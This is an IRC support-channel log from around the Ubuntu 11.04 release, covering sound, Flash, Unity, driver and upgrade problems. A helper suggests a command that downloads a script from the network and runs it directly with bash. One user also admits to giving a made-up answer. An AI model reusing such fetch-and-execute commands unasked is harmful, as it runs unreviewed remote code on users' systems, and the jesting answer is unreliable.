[22:27] <Rockj> ohsix: but ubuntu dev's really should look at moving the "toolbar" top back to the windows agains, other then that unity looks sweet
[22:27] <ActionParsnip> samtate_: most are just intel compatible things, there is an alsa-info script on the sound troubleshooting documentation, it will tell you a lot
[22:27] <Kyubey> and it doesnt appear to be done
[22:27] <Soothsayer> or shall I make it 4.5 GB in case I plan to upgrade to 4GB?
[22:28] <Neosano> Soothsayer, you can change the size later
[22:28] <ohsix> Soothsayer: sure, i did 6 because i have a lot of stuff that lives on swap most of the time
[22:28] <resixian> is there not yet an 11.04 netbook edition?
[22:28] <blurgh> Is there any way to get global menus fixed in applications that not yet have it implemented?
[22:28] <arand> resixian: It was merged with desktop
[22:28] <Neosano> Soothsayer, but yeah, swap must be a little bit bigger than your memory
[22:28] <resixian> arand: ah, there is still a link on the alternative dl page
[22:28] <tauntaun> Is there anyway to encode a DVD onto my ipod using Rhythmbox?  If not, can another application do it?
[22:28] <Soothsayer> Neosano, ohsix ok. And what file system should it use? ext4?
[22:28] <resixian> arand: thx
[22:28] <alishah> html_inprogress: I tried firefox, its not lite enough.. I just want one with cookies js n flash support no fancy features?
[22:28] <Ubuntu123> lcb::
[22:28] <Kyubey> ohsix, it stopped, it's not done yet, but new text isnt printing anymore
[22:29] <Kyubey> ohsix (but I dont have a new prompt
[22:29] <Neosano> Soothsayer, for swap?? there's no filesystem for swap
[22:29] <ohsix> Rockj: well, there was a design and they fleshed it out, and a review period that was long and before the rerlease so theres not much to say about it now :\ they might bin it if it's no good ;]
[22:29] <ohsix> Kyubey: ok pulse is running now
[22:29] <arand> resixian: I think the fault link has been noted already..
[22:29] <ohsix> Kyubey: try and open the mixer
[22:29] <Kyubey> oh!
[22:29] <Neosano> Soothsayer, for you system you'll be good with ext4
[22:29] <Kyubey> it worked!
[22:29] <Soothsayer> Neosano: I'm creating a partition here using gparrted for it.
[22:29] <pattysmatty> how do i enable vlc player or divx player for firefox?
[22:29] <Soothsayer> ok
[22:29] <ohsix> Kyubey: ok now close the mixer, hit ^C in the terminal, then open the mixer again
[22:29] <truepurple> How do I install flash for 64bit ubuntu?
[22:29] <samtate> hi
[22:29] <Neosano> Soothsayer, just choose SWAP, it doesn't ask for filesystem
[22:30] <haroon> I installed it from synaptic but no change
[22:30] <samtate> In Ubuntu 11.04 on my laptop, sound works fine on the internal speakers, but plugging in external ones cuts it out
[22:30] <html_inprogress> alishah,  restate your question, i dont understand
[22:30] <Kyubey> ohsix - now it says "waiting fo the sound system to respond"
[22:30] <scorch_> Is there any way to continue an aborted 10.10 to 11.04 upgrade?  It froze on me and I had to reboot.  now it says on bootup drive "/" not ready and my system will not star
[22:30] <pattysmatty> how do i enable divx player for firefox?
[22:30] <ohsix> Kyubey: fuser -v /dev/snd/* again
[22:30] <alishah> I want a browser that takes lesser ram and processing thn firefox n chrome.
[22:31] <Diosjoe> scorch_ i think no
[22:31] <alishah> html_inprogress: want a browser that takes lesser ram and processing thn firefox n chrome.
[22:31] <Kyubey> ohsix, doesnt print anything
[22:31] <Neosano> samtate, it's your laptop feature, you can't change this behavior
[22:31] <samtate> alishah: Midori by elementary team
[22:31] <Soothsayer> Neosano: that's in gparted?
[22:31] <samtate> Neosano: Was that a joke? It worked in Windows
[22:31] <Soothsayer> or during installation ?
[22:31] <alishah> samtate: thanx buddy will check it out.
[22:31] <ohsix> alishah: it all comes down to what you browse pretty much regardless of the browser; the internet is getting more complicated
[22:31] <Rockj> ohsix: hm, so what you are saying is that they had a design issue about it, and they dropped it and implemented it just as faulty as it is done in OS X? or do you mean it's design document is long over due and accepted a long time ago? if the last one, can I still submit a ticket and hope for it getting fixed in the future?
[22:31] <Neosano> samtate, oh, then try alsamixer or gamix
[22:31] <html_inprogress> pattysmatty,  you can have divx player for ubuntu?
[22:31] <scorch_> Diosjoe, so I have tostartover from scratch?
[22:31] <trism> truepurple: if you mean the preview 64bit one here  http://labs.adobe.com/downloads/flashplayer10_square.html you can just unzip it and copy it to ~/.mozilla/plugins and it should work with both chromium and firefox
[22:31] <ohsix> Kyubey: then pulse isn't autospawning properly by itself, did you do anything funny like try and get it to run in system mode or mess with it's config files?
[22:32] <pattysmatty> html_inprogress, well at least a codec...
[22:32] <pattysmatty> that plays those
[22:32] <Kyubey> ohsix, no
[22:32] <truepurple> trism:  How do I copy it to there?
[22:32] <maxflax> lcb - didn't help much
[22:32] <Kyubey> ohsix - I installed this last night, all I've done is install xchat and set a few compiz shortcuts
[22:32] <perlsyntax> anyone know how to get a truemobile pc card that wireless to work on ubuntu?
[22:32] <html_inprogress> pattysmatty,   ghow  do i get that?
[22:32] <alishah> ohsix: I don't mind if it loads pages a bit slower, i don't want it to affect other apps am running with it.
[22:32] <perlsyntax> 1150
[22:32] <Diosjoe> scorch_ if this installation was aborted under operation, at some random point you have stopped the process,i dont think the can compare the builds and fix the errors
[22:32] <ohsix> Rockj: i said the time for input has mostly passed for things like that, it's not faulty it's just new
[22:33] <samtate> In Ubuntu 11.04 on my laptop, sound works fine on the internal speakers, but plugging in external ones cuts it out. Any advice?
[22:33] <maxflax> lcb - to bad that log doesn't tell what the problem is.. is a really crappy logging feature
[22:33] <perlsyntax> anyone
[22:33] <pattysmatty> html_inprogress, idk... i accidentally deleted mine a hwile back
[22:33] <pattysmatty> it sucks though
[22:33] <Diosjoe> Like if your installing a game or something else scorch_
[22:33] <webstrand> Why is the distribution upgrade trying to remove a bunch of my games?
[22:33] <Neosano> Soothsayer, oh, when it asks for file system choose linux-swap
[22:33] <Neosano> Soothsayer, that's for swap of course
[22:33] <Diosjoe> if you plug the power, it messes things up
[22:33] <ohsix> alishah: then you need to use something like links that doesn't even load images or anything but text; but seriously once you start doing anything else you're pretty much loading what you browse regardless of what's doing it
[22:33] <scorch_> ok
[22:33] <Soothsayer> Neosano: baa, i chose ext4
[22:33] <trism> truepurple: either using nautilus or if you are in the same directory with it: mkdir -p ~/.mozilla/plugins; cp libflashplayer.so ~/.mozilla/plugins
[22:34] <Soothsayer> and im already in the installer..
[22:34] <Diosjoe> Scorch_ where you updating or installing from scratch?
[22:34] <perlsyntax> someone got to know something on wlan-ng driver
[22:34] <pattysmatty> how do i get the divx plugin
[22:34] <resumenes> hello!
[22:34] <truepurple> trism: How do I even find that directory?
[22:34] <Rockj> ohsix: obiously it is faulty when you drop functionality that has been in unix systems since their beginning.( Being able to focus windows just by moving your mouse ...)
[22:34] <maxflax> I have problem upgrading from 10.10 to 11.04 and this is my apt.log http://paste.ubuntu.com/600970/
[22:34] <Neosano> Soothsayer, don't worry
[22:34] <Soothsayer> Fixing recursive fault but reboot is needed!
[22:34] <mrstocks> wwwwwaaaaaaaaaahhh 11.04 whaaaaaaaat
[22:34] <resumenes> hello!
[22:34] <Soothsayer> what is that message?
[22:34] <ohsix> Kyubey: well if nothing has been messed with it should be auto spawning; i don't know what to say
[22:34] <mrstocks> all the menus are like.... left and right
[22:34] <Neosano> Soothsayer, after installation you can run live cd and change your partitions any way you want
[22:34] <resumenes> any spanish=
[22:34] <resumenes> ?
[22:34] <maxflax> I have problem upgrading from 10.10 to 11.04 and this is my upgrade log  http://paste.ubuntu.com/600970/
[22:34] <mrstocks> i cant see the control panel to move them
[22:34] <samtate> In Ubuntu 11.04 on my laptop, sound works fine on the internal speakers, but plugging in external ones cuts it out. Someone told me about a script on the alsa website the other day that I could use to fix it, but I cant remember what it was
[22:34] <trism> truepurple: ctrl+h in nautilus shows hidden directories, and ctrl+L lets you type in paths
[22:34] <Kyubey> I'm gonna try restarting
[22:34] <ohsix> Rockj: no, they didn't remove anything; it's entirely new, that's a red herring
[22:34] <resumenes> any spanish to talk?
[22:35] <tauntaun> Is there anyway to encode a CD onto my ipod using Rhythmbox?  If not, can another application do it?
[22:35] <z0mbyk1d> apparently not many people read about the changes in natty before they upgraded... getting so goddamned sick of people whininc about how they dumbed it down
[22:35] <ActionParsnip> !es | resumenes
[22:35] <ubottu> resumenes: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[22:35] <z0mbyk1d> i am enjoying the upgrades personally, but then again I only run server edition!
[22:35] <ohsix> Rockj: and even asserting it was a good idea when it was added "in the beginning" is another red herring, you simply like it, therefore it is a good idea
[22:35] <tauntaun> In other words, is there something like iTunes for Ubuntu?
[22:35] <ActionParsnip> tauntaun: use soundjuicer
[22:35] <Soothsayer> ok, i rebooted and that error went away.
[22:35] <Soothsayer> Strange stuff with the 11.04 installer.
[22:35] <alishah> samtate: Can you tell me the name of the browser again please. am using irssi n i don't know how 2 scrol up.
[22:35] <Mac_Weber> I followed this tutorial to install tomcat. However, it is not auto starting at boot. http://www.howtogeek.com/howto/linux/installing-tomcat-6-on-ubuntu
[22:35] <Diosjoe> tauntaun tried googling, Itunes linux
[22:35] <ActionParsnip> tauntaun: or you can use rhythmnbox or banshee to put songs onto it
[22:36] <samtate> alishah: Midori
[22:36] <Rockj> ohsix: you still break compability with work flow that's been working since the "80's". Now your doing the same mistake as Apple have done, making the toolbar stuck at the top so your unable to access it at all if your using auto focus by mouse...
[22:36] <Mac_Weber> I'm on ubuntu 10.04. How to fix it?
[22:36] <alishah> samtate: thanks :)
[22:36] <ohsix> Rockj: i sympathize but it's not a useful way of thinking if you want to improve it, you simply want what you like and use added to the new thing, which kind of defeats the purpose a little
[22:36] <z0mbyk1d> Mac_Weber: did you update-rc.d\
[22:36] <KM0201> tauntaun: itunes alternatives under linux aren't very good IME... i eventually just started runing xp in vbox, and syncing my ipod w/ itunes
[22:36] <conical> is it a bad, bad idea to try and use my ubuntu box as a DNS server for my home intranet?
[22:36] <ActionParsnip> tauntaun: some versions of itunes will run in some versions of wine
[22:36] <Neosano> tauntaun, like someone knows what is itunes, lol, I never got a point of it.
[22:36] <ohsix> Rockj: it's a mistake from your perspective
[22:36] <truepurple> trism:  ~/.mozilla the ~ is what ever your name is listed as? Then create a directory called plugins and just drop the file in?
[22:36] <Mac_Weber> z0mbyk1d: just type update-rc.d?
[22:36] <ohsix> Rockj: it's a design decision from someone elses perspective
[22:36] <z0mbyk1d> Mac_Weber: type man update-rc.d
[22:36] <ActionParsnip> conical: not at all, it will speed up the web :)
[22:36] <z0mbyk1d> and learn a bit
[22:36] <z0mbyk1d> you need to define what runlevels tomcat should start at
[22:36] <trism> truepurple: yep, ~ is your home directory, so if your username is truepurple, it would expand to /home/truepurple
[22:37] <escott> conical, your router will usually want to be a dns, but you might be able to turn it off
[22:37] <conical> is there an "easy" way to do it
[22:37] <z0mbyk1d> look under /etc/init.d too to see if tomcat created a script for itself
[22:37] <Kyubey> Haha
[22:37] <Kyubey> ohsix
[22:37] <pattysmatty> firefox4 is shit
[22:37] <ActionParsnip> conical: I put a dns server on allmy systems as tey will cache resolutions, speed up the web nicely
[22:37] <ohsix> haroon: installed which one? b43-fwcutter has a script you need to run to do it, and bcmwl-kernel-source would need a reboot, or at least an rmmod ssb & b43 then modprobe wl
[22:37] <z0mbyk1d> depending on how it was installed it may not have
[22:37] <conical> i can point the router to my home machine
[22:37] <Kyubey> ohsix, guess what? Restarting fixed it XD
[22:37] <ActionParsnip> pattysmatty: keep it family friendly please
[22:37] <trism> truepurple: but ~ is automatically expanded, so you can actually type a ~
[22:37] <escott> conical, rather i mean dhcp
[22:37] <Kyubey> ohsix, I think it might be because I was hibernating
[22:37] <ny51bern> lcb: is that "install the package maintainer's version"
[22:37] <tauntaun> Well I have Rhythmbox running, but I have no sense of where to find a 'rip' command, like the 'encode' of iTunes.  Any ideas?
[22:37] <Neosano> conical well maybe you need something smaller than ubuntu?
[22:37] <ohsix> pattysmatty: if you need help or have a question please ask, otherwise take offtopic things to #ubuntu-offtopic
[22:37] <Rockj> ohsix: bad design decision then if I may say so ;-)  But does this Unity have a project side so I at least can make a ticket about it?
[22:37] <ny51bern> lcb: option
[22:37] <scorch_> Diosjoe updateing
[22:37] <ohsix> Kyubey: highly unlikely re: hibernating
[22:37] <conical> a second machine to just do dns
[22:37] <ActionParsnip> conical: you'd tell yoursystems to use the DNS system first, you can set interfaces to DHCP (address only)
[22:38] <z0mbyk1d> ok, quitting in prep to reboot into 10.04 on this server
[22:38] <pattysmatty> ActionParsnip, how do i get a divx codec running in firefox???
[22:38] <mrstocks> Where is my menu!!!!!
[22:38] <z0mbyk1d> got a long way to go before i am on natty hehe
[22:38] <truepurple> trism then just create that directory with that name and plop the file in?
[22:38] <Kyubey> ohsix - anyways, it's working now
[22:38] <Kyubey> Thanks for your help :)
[22:38] <Diosjoe> scorch_ ok, then i would really say, better get reinstalling from scratch
[22:38] <mrstocks> the admin, apparenance and stuff
[22:38] <ActionParsnip> conical: could install a caching proxy too so you don't have to download from the web when you need content if  the newest files are stored already
[22:38] <Neosano> conical, maybe this will help? http://www.linuxquestions.org/questions/linux-newbie-8/best-distro-for-dns-server-435160/
[22:38] <mrstocks> i have pointless ones
[22:38] <conical> it's probably better to stay away since I don't fully understand it, and doing it improperly could rip a hole in the universe
[22:38] <Karen_m> what's the best flowcharting software for ubuntu?   Know how there is freemind, I was hoping there is something lightweight like it to do flowcharting.
[22:38] <ActionParsnip> pattysmatty: no idea, I don't use it
[22:38] <samtate> In Ubuntu 11.04 on my laptop, sound works fine on the internal speakers, but plugging in external ones cuts it out. Someone told me about a script on the alsa website the other day that I could use to fix it, but I cant remember what it was
[22:38] <ohsix> Rockj: theres ayatana which is the cabal running the show, but they're designers and programmers, i don't think they're much accepting that sort of idea, they have a concept already; you at best can ask for them to account for your use-case, if you provide it
[22:38] <ny51bern> can any1 help with installing ubuntu 11?
[22:38] <conical> well, more like bring down my home network, but close enough
[22:38] <maxflax> I have problem upgrading from 10.10 to 11.04 and this is my upgrade log  http://paste.ubuntu.com/600970/
[22:39] <samtate> ny51bern: I can, what do you need?
[22:39] <ActionParsnip> samtate: do you have the alsa link it made?
[22:39] <samtate> ActionParsnip: What do you mean?
[22:39] <scorch_> Diosjoe, ok that sucks,  Ill lose everything
[22:39] <ActionParsnip> samtate: you ran the alsa-info script, right?
[22:39] <ny51bern> samtate: ive gotten pretty far (updating from 10 to 11, but a dialog popped up asking :What do you want to do about the modified configuration file grub" ?
[22:39] <samtate> no, you didnt tell me too
[22:39] <Diosjoe> scorch_ how many GB data you want to save?
[22:39] <truepurple> trism: Then just create that directory with that name and plop the file in?
[22:39] <ohsix> Kyubey is going to be back next time pulse closes & doesn't auto spawn :[
[22:40] <samtate> ActionParsnip: You didnt tell me to, so I havent
[22:40] <ActionParsnip> samtate: what is the output of: wget -O alsa-info.sh http://alsa-project.org/alsa-info.sh && bash ./alsa-info.sh
[22:40] <trism> truepurple: yes, exactly, just copy and paste it there
[22:40] <scorch_> Diosjoe,my home directory.  can 28 GB.  can I copy it to a External and then copy my whole home dir over ontop of the newly installed?
[22:40] <Diosjoe> scorch_ how about using the live cd and taking copys of anything you want to say,
[22:40] <Diosjoe> yes
[22:40] <trism> truepurple: after you extracted it that is, it should be called libflashplugin.so
[22:40] <deuterium> hm can i convert my ubuntu 10.04 ext4 partition into a ext2 partition? i think i can't shrink my vmware image if the partition is formatted as ext4.
[22:40] <Rockj> ohsix: that's my plan, I would love to hear their input on it. As it seems ubuntu is making Unity the default window manager, I better give them a heads up about the issue ASAP. All the people ive learned linux over the years, they have loved the "mouse focus" feature and other neat features that is pretty common in the world of *nix compared to Windows.
[22:40] <AndrewEMT> ok one quick question... how do I switch the video driver from the nouveau driver to the proprietary NVidia driver (its installed and activated but the Additional drivers app says its not currently in use)?
[22:41] <Diosjoe> scorch_ put in your ubuntu and boot in live, copy your files,etc external
[22:41] <samtate> ActionParsnip: http://www.alsa-project.org/db/?f=fa638cc776341f0bf3ac4f750616a7469bd7390b
[22:41] <Rockj> ohsix: so may I ask what this ayatana is? website? tracker? *opens google*
[22:41] <ActionParsnip> AndrewEMT: You may need to run:  sudo nvidia-xconfig
[22:41] <scorch_> Diosje ok then after I install I can just opy mysaveed home directory over the new home directory?
[22:41] <AndrewEMT> thanks ActionParsnip will try that
[22:41] <Acriax> Hi, how do I switch from the classic ui to Unity on the login screen? I can't find any button of the sort
[22:41] <JPeterson> well this 11.04 upgrade seems to have went well
[22:42] <truepurple> trism: The file I want to copy is called libflashplayer.so?
[22:42] <JPeterson> first I had to recover grub from the live cd
[22:42] <Soothsayer> Wow
[22:42] <JPeterson> then I get "error no suitable mode found"
[22:42] <AaeRohn> *pokes around* My scanner isn't working... I got the driver and everything, and the printer part of it works, but it doesn't scan... can anyone help?
[22:42] <scorch_> Diosje then I whoould just have to reinstal the prgrams realted
[22:42] <JPeterson> and not a single line of boot text
[22:42] <Soothsayer> Installer crashed. We're sorry, the instalelr crashed...
[22:42] <Diosjoe> scorch_ yes isee no problem in that
[22:42] <ActionParsnip> samtate: try:options snd-hda-intel model=auto
[22:42] <ActionParsnip> samtate: or options snd-hda-intel model=laptop
[22:42] <truepurple> trism: The file I want to copy is called libflashplayer.so?
[22:42] <scorch_> Is there a 11.04 music version?
[22:42] <samtate> ActionParsnip: We already tried the second one remember
[22:43] <mrstocks> 10.04 thinks im a retard do you want to "Check your email?" "Listen to music?" do i have the mum edition?
[22:43] <scorch_> what it called
[22:43] <ActionParsnip> samtate: then try the first.,...
[22:43] <AndrewEMT> ok, so that will switch it right? Just reboot not ActionParsnip
[22:43] <AndrewEMT> now*
[22:43] <scorch_> ubuntu studio 11.04?
[22:43] <Diosjoe> scorch_  what do you mean, music version
[22:43] <ActionParsnip> AndrewEMT: you can restart X or reboot
[22:43] <Diosjoe> oh no
[22:43] <AndrewEMT> ok, thanks bud... appreciate the help :)
[22:43] <samtate> ActionParsnip: ok in a sec
[22:43] <Diosjoe> But there is loads of linux audio tools, etc audiocity
[22:43] <Micc0> I guess they all need to hear from a woman who's ex-boyfriend tracked he through her phone and assaulted her.
[22:43] <Soothsayer> freak, what was that
[22:43] <swatto> Im trying to download the upgrade and only downloading at like 70kb/s - is that normal?
[22:43] <Diosjoe> maybe prologic or cubase supports linux
[22:44] <AaeRohn> *pokes around* My scanner isn't working... I got the driver and everything, and the printer part of it works, but it doesn't scan... can anyone help?
[22:44] <mrstocks> how do you move the menu?
[22:44] <strigoi66_> please help... need wifi drivers for acer aspire 5000 on ubuntu 11.04 look at http://paste.ubuntu.com/600975
[22:44] <aj00200> 9/w 56
[22:44] <karth> anyone know a way to disable font scaling in unity? my title bar is really screwed up, everything looks 8 bit
[22:44] <Mac_Weber> z0mbyk1d I tried "update-rc.d tomcat start 99 2 3 4 5 S . stop 0 1 6 ." as described in http://ubuntuforums.org/showthread.php?t=1188880&highlight=tomcat+autostart Did not work yet
[22:44] <Diosjoe>  swatto - Yes
[22:44] <swatto> Diosjoe, a good so its not my connection playing up then?
[22:45] <Diosjoe>  swatto - from .DK i downloaded from a 50MB line and got in the start between 15-45 KB/s and then in the end came to 150-200 but only a litle
[22:45] <ohsix> Rockj: i think you're making the common fallacy of assuming that your use is the same as an uncounted number of users
[22:45] <Diosjoe> its not your connection, its routing + alot of people getting data fra the ubuntu network
[22:45] <maxflax> I have problem upgrading from 10.10 to 11.04 and this is my upgrade log  http://paste.ubuntu.com/600970/
[22:45] <swatto> Diosjoe, ahh ok
[22:45] <samtate> why is firefox so fricking bad?
[22:45] <Diosjoe> Many updating, downloading images, getting drivers, fixingetc
[22:45] <Diosjoe> ;)
[22:45] <phibxr> swatto, use the torrent, gave me 1MB/s. :)
[22:45] <ohsix> Rockj: while that may be true, you can only make the case for yourself; not use these untold number of people to seemingly firm up your position
[22:46] <swatto> phibxr, how would i go about doing that? shall i cancel this upgrade tool thing then?
[22:46] <lcb> maxflax, sorry, i have visitors here. try going to recovery again (SHIFT | - select the 2nd kernel  option from the top = recovery mode | go to the end of the new menu and select "root prompt" and type ' sudo dpkg --configure -a ' see if that helps.
[22:46] <scorch_> Diosjoe:  Just found it...  its there:https://wiki.ubuntu.com/UbuntuStudio/11.04release_notes
[22:46] <phibxr> swatto, oh, you're upgrading. nevermind then. no idea. :)
[22:46] <ny51bern> samtate: any ideas?
[22:46] <AndrewEMT> ok still says its activated but not in use... sheesh
[22:46] <Diosjoe> Nice scorch
[22:46] <samtate> ny51bern: LOL
[22:47] <phibxr> swatto, i usually keep my /home partition intact and perform clean installs instead. :)
[22:47] <ny51bern> samtate: ?
[22:47] <samtate> ny51bern: you cant install ubuntu
[22:47] <ny51bern> samtate: why not?
[22:47] <samtate> ny51bern: i dunno, i made that up
[22:47] <ny51bern> samtate: well thanks for ur help =.=
[22:48] <AaeRohn> anyone available to help with a printer/scanner issue?
[22:48] <samtate> ny51bern: i would help you, but i dont know
[22:48] <peteb> Hai guys, is there a specific gnome3 channel?
[22:48] <ohsix> AaeRohn: they might, but you need to tell them the issue first
[22:48] <Rockj> ohsix: ok, but I still would love to submit the ticket - so where would be the best place to do so? And is there any other Unity intro/tutorial with common usages? Unity looks like OS X but is there like shortcuts for minimizing windows like in OS X etc?
[22:48] <ActionParsnip> AaeRohn: askaway
[22:48] <samtate> AaeRohn: me
[22:48] <trism> truepurple: yes, that is correct
[22:48] <samtate> AaeRohn: whats the matter?
[22:48] <ActionParsnip> Rockj: press Winkey + D
[22:48] <Diosjoe> Im going to buy a touchscreen monitor now that unity works this great
[22:48] <lcb> btw, what i wrote before goes for every unfinished upgrades. hopefully it works
[22:48] <truepurple> trism: Thanks, I see you said that earlier, but I missed that in the sea of text
[22:49] <Rockj> ActionParsnip: that minimizes every window ActionParsnip . Possible to minimize only the selected window pr. default?
[22:49] <ExplodingPiglets> xkill is not working on firefox
[22:49] <trism> truepurple: it's okay, it's really flying because 11.04 just came out
[22:49] <ExplodingPiglets> I opened one of these unclosable meatspin links.
[22:49] <harovali> hi , where do I set the default console font ?
[22:49] <harovali> in ubuntu 11.04
[22:49] <AaeRohn> well I did try a couple times... I have a Brother MFC-6490CW and the printer works fine, but the scanner does not... I have both the printer, and scanner drivers for this model for linux, but it still doesnt work
[22:49] <Soothsayer> "Fixing recursive fault but reboot is needed"
[22:50] <Acriax> How come my top bar is all grey and boring? Is obsidian-coloured and cool-looking right after I log in, then it flickers and changes to the old boring one.
[22:50] <ExplodingPiglets> Can somebody help me? I am tiring of seeing a spinning phallus jumping around my computer
[22:50] <Soothsayer> why do I get that message while it boots into the 11.04 installer ?
[22:50] <truepurple> trism: I also need help with setting up a ati driver for me radeon 6850 so I can use 11.04, can you help me with that?
[22:50] <computergeeksjw> Just installed ubuntu and booted up fine. I selected the option to install the proprietary driver and selected the new driver (instead of the installed but inactivated driver). After rebooting, the system locks up after login. I can move the cursor but can't click on anything.
[22:50] <trism> truepurple: better to ask the channel, I don't have any ati cards
[22:50] <ExplodingPiglets> Well, thanks for the help guys.
[22:50] <AndrewEMT> anyone know why despite my running sudo nvidia-xconfig it still says the driver is activated but not currently in use? Am i missing something here?
[22:50] <computergeeksjw> It's an nvdiia card
[22:50] <strigoi66_> Hello, how do I get wireless drivers for natty on acer aspire 5000 laptop I have tried the following: http://paste.ubuntu.com/600975
[22:50] <truepurple> Anyone able to help me set up a driver for a radeon 6850?
[22:50] <Diosjoe> computergeeksjw
[22:51] <mrstocks> anyone has teamviewer to me with a UI question?
[22:51] <Diosjoe> are you using ATI card?
[22:51] <ExplodingPiglets>  sarcasm :Unknown command
[22:51] <Diosjoe> truepurple
[22:51] <Diosjoe> is it installed already, but not working correctly?
[22:51] <computergeeksjw> Diosjoe: Nvidia
[22:51] <truepurple> It is installed, but its abilities are limited, I can not set it past 800x600, and apparently may be the reason 11.04 won't load for me
[22:51] <truepurple> Diosjoe:
[22:52] <AaeRohn> ActionParsnip, samtate: (in case you didnt see it, forgot to add names) well I did try a couple times... I have a Brother MFC-6490CW and the printer works fine, but the scanner does not... I have both the printer, and scanner drivers for this model for linux, but it still doesnt work
[22:52] <ActionParsnip> Rockj: There is a custom command section, you may be able to put a code in one then assign a shortcut to run that command. I'd ask in #compiz
[22:52] <Diosjoe> computergeeksjw sorry dont know about nvid
[22:52] <mrstocks> i can't find the "allow the menu to move" in 10.04 its driving me mad!
[22:52] <ActionParsnip> AaeRohn: what is the output of:  uname -m
[22:52] <Diosjoe> truepurple, what?
[22:52] <truepurple> Diosjoe: It is installed, but its abilities are limited, I can not set it past 800x600, and apparently may be the reason 11.04 won't load for me
[22:52] <computergeeksjw> Anyone else?
[22:53] <lucas> Someone please help... I try to build a custom live cd with nvidia drivers on it. Is there any way to automate at bootup the process of chosing the nvidia driver instead of nouveau? If so is there a way to have mesa for computers which haven't nvidia?
[22:53] <Diosjoe> mrstock under preference, try Launcher & Menus
[22:53] <AaeRohn> ActionParsnip: i686
[22:53] <teehvi> hi, updated to 11.04 and firefox 4 doesn't show my bookmarks toolbar. any idea where could i find it?
[22:53] <AndrewEMT> ok, maybe I'll uninstall and reinstall the driver... maybe that will help...
[22:53] <Diosjoe> truepurple, can you do sudo lspci | GREP ATI
[22:53] <basso> how can i add /usr/games to my x sessions?
[22:53] <Tetsuo55_2> i hope canonical is keeping the devs active during this weekend, unity has some really annoying bugs that make the desktop unusable
[22:53] <truepurple> Diosjoe: You want me to type that in a terminal? What does it do?
[22:53] <ActionParsnip> AaeRohn: so you installed: http://www.brother.com/pub/bsc/linux/dlf/brscan3-0.2.11-4.i386.deb
[22:54] <Diosjoe> it tell us about your gfx card
[22:54] <computergeeksjw> Is there a way to boot up and log in without activating the driver? Is that recovery mode?
[22:54] <Diosjoe> truepurple, yes in terminal, first write sudo su, enter your code, then lspci | GREP ATI
[22:54] <AaeRohn> ActionParsnip: the only drivers available for the printer/scanner, so yes
[22:54] <fholmes> What is the best way to configure the SATA controllers in my BIOS?  As AHCI devices?  Or just standard IDE devices?
[22:54] <mrstocks> can i revert to the old distro version?
[22:54] <cache_surplus> hello, im trying to ubuntu 10.10 32bit on a windows xp laptop. when i boot to cdrom, windows xp continues to own the laptop...
[22:54] <mongy> Diosjoe, lowercase grep
[22:54] <n3glv> quick natty question, on remix it was possible to use ubuntu desktop instead of unity, is that feature still in natty?
[22:54] <truepurple> Diosjoe: May we please talk in PM?
[22:54] <Soothsayer> Anyone experienced the "Fixing recursive fault but reboot is needed!" ?
[22:54] <cache_surplus> usb not an option
[22:55] <Soothsayer> n3glv: yes
[22:55] <cache_surplus> netboot not an option, no pxe
[22:55] <Diosjoe> Thanks mongy
[22:55] <Diosjoe> Yes true
[22:55] <karth> n3glv: @ login screen, select ubuntu classic
[22:55] <Soothsayer> n3glv: you can pick it during your login screen
[22:55] <lcb> Soothsayer, boot from live cd or usb and check the file-system
[22:55] <n3glv> cache_surplus: sounds like an issue with grub installer
[22:55] <lucas> n3glv: It is, running classic desktop right now
[22:55] <Soothsayer> lcb: i've booted.. reformattinig it to ext3 now
[22:55] <n3glv> ok Soothsayer so, same as unr, just hit the user then select at bottom?
[22:55] <cache_surplus> cdrom boots, verified by disabling hd with switch+1 on pheonix bios set up
[22:55] <cache_surplus> n3glv: oh?
[22:55] <samtate_> ActionParsnip: Any more suggestions?
[22:55] <lcb> Soothsayer, why ext3?
[22:56] <lucas> Someone please help... I try to build a custom live cd with nvidia drivers on it. Is there any way to automate at bootup the process of chosing the nvidia driver instead of nouveau? If so is there a way to have mesa for computers which haven't nvidia?
[22:56] <ActionParsnip> samtate_: keep searching for those options, one will make it fly
[22:56] <cache_surplus> n3glv: i think its a bios proprietary issue,,, maybe your right, can you help assist in trbshting?
[22:56] <karth> n3glv: if classic doesn't work, try  classic without effects, had to to get it to work on an old machine.
[22:56] <ActionParsnip> cache_surplus: how did you make the install CD?
[22:56] <n3glv> cache_surplus: beyond me, but yes check bios setting
[22:56] <samtate_> ActionParsnip: What should I even search for?
[22:56] <Soothsayer> n3glv: yes
[22:56] <Soothsayer> lcb: for some reason ext4 has never worked on this laptop.
[22:56] <ohsix> lucas: you can't distribute that
[22:57] <ActionParsnip> samtate_: alsa-base.conf then the model of your system
[22:57] <lcb> Soothsayer, oh... weird
[22:57] <tauntaun> OK, I've figured out how to copy a track from CD to Rhythmbox's Music folder.  Now how do I get it into my iPod?
[22:57] <cache_surplus> ActionParsnip: the cd boots right up when hd is disabled in bios
[22:57] <Soothsayer> lcb: tried it on 10.10 too.. used to not format.. this time it formatted to ext4.. but the installer crashed
[22:57] <cache_surplus> ActionParsnip: that should answer that
[22:57] <tauntaun> (...I've tried a number of things, none of which work.)
[22:57] <ohsix> lucas: and instaling the proprietary nvidia drivers involves a lot of ugly, you can't generally have both; but there are a bunch of python scripts that try and pick the right one to use
[22:57] <lcb> Soothsayer, what utility are you using to format?
[22:57] <cache_surplus> ActionParsnip: furthermore, i have tried multiple os, cd's, burn speeds so forth...
[22:57] <n3glv> my other small beef is that on this old pc, I stuck in the 11.04 disk, it said there was upgrade, I said ok, and it's getting EVERYTHING via my slow interrnet, has not hid the cd at all
[22:57] <slashnames> c0mp13371331337 mssssm_ Dominater Whitor jkarlos surreal7z slashnames coolkid25 ardchoille codebeaker fholmes Stameni1 jotbe n3glv nardea samtate_ int3nz0r SaneWarning kkartas Prodego sre-su lucas mfilipe miniuser m3t4lukas GasbaKid Tetsuo55_2 peteb wilbur_cobb TheCynic sechrist computergeeksjw BostX PaulEycks DBO rtghuzhg alles-wird-gut rheilol_ Spacewalker Egonis shamino_ mirco Micc0 Micco m00se davidcalle Tohuw Acriax AaeRohn Ja
[22:57] <ActionParsnip> cache_surplus: i see, maybe you need a bootoption. Is the system a branded PC or laptop
[22:57] <n3glv> what's the point to offering upgrade from cd if it then uses the internet?
[22:57] <cache_surplus> ActionParsnip:  xp will only load on this, and also, oh.. um
[22:57] <Stameni1> join #what ?
[22:58] <Stameni1> what ?
[22:58] <lucas> ohsix: This is not to distribute... Only for my own personalised usb-stick
